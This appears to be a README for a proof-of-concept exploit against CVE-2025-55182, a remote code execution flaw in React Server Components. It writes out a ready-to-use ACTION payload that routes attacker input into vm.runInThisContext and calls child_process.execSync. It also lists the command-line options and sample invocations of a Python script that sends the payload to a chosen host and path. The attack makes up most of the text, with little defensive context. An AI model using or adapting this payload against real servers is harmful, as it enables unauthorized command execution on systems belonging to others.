CVE-2025-55182 React Server Components RCE POC

This project is a CVE-2025-55182 - React Server Components (RSC) RCE Proof of Concept, demonstrating remote code execution triggered under specific conditions via vm.runInThisContext and malicious ACTION payload.

Python side: Automates sending malicious ACTION payload and parsing response

⚠ Vulnerability Overview (CVE-2025-55182)

React Server Components' ACTION payload under certain conditions will:

Be deserialized into JS object
Enter vm.runInThisContext for execution
Be automatically injected into server actions

An attacker can craft payload:

{
  "$ACTION_REF_0": "",
  "$ACTION_0:0": "{\"id\": \"vm#runInThisContext\", \"bound\": [\"global.process.mainModule.require('child_process').execSync('calc').toString()\"]}"
}

Parameter	Required	Default	Description
`--host`	Yes	None	Target server IP or domain. E.g.: `127.0.0.1`, `192.168.1.10`, `example.com`
`--port`	No	`80`	Target HTTP service port, e.g.: `3003`
`--path`	Yes	None	Target route path that triggers the vulnerability, e.g.: `/feedback`, `/action`
`--https`	No	`False`	Whether to use HTTPS to send payload (default HTTP)

python a.py --host --port --path

python a.py --host 127.0.0.1 --port 3003 --path /feedback

CVE-2025-55182POC

Most Popular